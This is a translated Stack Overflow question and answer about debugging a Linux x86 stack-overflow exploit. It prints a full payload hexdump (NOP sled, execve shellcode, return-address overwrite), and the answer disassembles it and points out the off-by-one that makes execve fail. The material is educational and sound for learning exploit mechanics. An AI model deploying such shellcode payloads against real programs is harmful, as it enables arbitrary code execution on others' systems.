我正在学习使用 shellcode 进行堆栈利用。我已经把一切都组织好了,而且我的 shellcode 似乎一直可以正常工作,直到最后一条指令 0xcd 0x80
。在 shellcode 末尾应该发生的事情是发送中断(从 shellcode 分支出来)并且应该执行一个包含进一步指令的文件。如果我在命令行中键入 xxx/aa
,我的文件就会运行(该文件简单地命名为 aa
,并且位于名为 xxx
的目录中)。
我的插入代码的字节表示是这样的:
0000000: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0000010: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0000020: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0000030: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0000040: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0000050: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0000060: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0000070: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0000080: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0000090: 9090 9090 9090 9090 9090 9090 9090 9090 ................
00000a0: 9090 9090 9090 9090 9090 9090 9090 9090 ................
00000b0: 9090 9090 9090 9090 9090 9090 9090 9090 ................
00000c0: 9090 9090 9090 9090 9090 9090 9090 9090 ................
00000d0: 9090 9090 eb16 5b31 c088 4307 895b 0889 ......[1..C..[..
00000e0: 430c b00b 8d4b 088d 530c cd80 e8e5 ffff C....K..S.......
00000f0: ff78 7878 2f61 612f 7841 4141 4142 4242 .xxx/aa/xAAAABBB
0000100: 4241 4141 4114 f2ff bf0a BAAAA0....
这既插入了我的 shellcode,又完美地放置了新的返回地址。然而,当我运行这段代码时,我陷入了无限循环。 0xcd 0x80
行旨在发送中断并提供参数 xxx/aa
,就像我在命令行中键入的那样。然而,程序并没有执行这一行,而是继续运行。由于下一行是对 shellcode 开头的回调,因此会创建一个无限循环。如果没有 0xcd 0x80
行来突破 shellcode,就无法摆脱这种情况。
我做错了什么?我怎样才能让这个命令行行为出现在我的 shell 代码中。非常感谢!
最佳答案
代码的反汇编如下所示(此处采用 AT&T 语法):
jmp pos2
pos1:
pop %ebx
xor %eax,%eax
mov %al,dbyte1-data(%ebx)
mov %ebx,dlong1-data(%ebx)
mov %eax,dlong2-data(%ebx)
mov $0xb,%al
lea dlong1-data(%ebx),%ecx
lea dlong2-data(%ebx),%edx
int $0x80
pos2:
call pos1
data:
.ascii "xxx/aa/"
dbyte1:
.byte dont_care // ebx+dbyte1-data = ebx+7
dlong1:
.long dont_care // ebx+dlong1-data = ebx+8
dlong2:
.long dont_care // ebx+dlong2-data = ebx+0xC
.byte dont_care // "AAAA0"
首先,您可以看到,如果“execve”系统调用(我假设 0xB 是 execve)失败,则此代码将在无限循环中运行。但是,Execve 将失败,因为“xxx/aa/”不是有效的文件名。看来“mov %al,0x7(%ebx)”实际上应该是“0x6(%ebx)”。
正如“Giel”已经写的那样,您可以使用“strace”命令来查看 execve 是否真的以“xxx/aa/”而不是“xxx/aa”作为文件名调用。
您应该在下一个项目(不是这个项目)中记住一些注意事项:
大多数 Linux 可执行文件都为堆栈和数据页设置了“NX”位。这意味着 CPU 不允许从堆栈或数据段执行代码。这意味着 shellcode 的执行在大多数 Linux 程序上都不起作用,但程序会因总线异常或类似异常而停止。
关于linux - 从 shellcode 运行文件,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/23381270/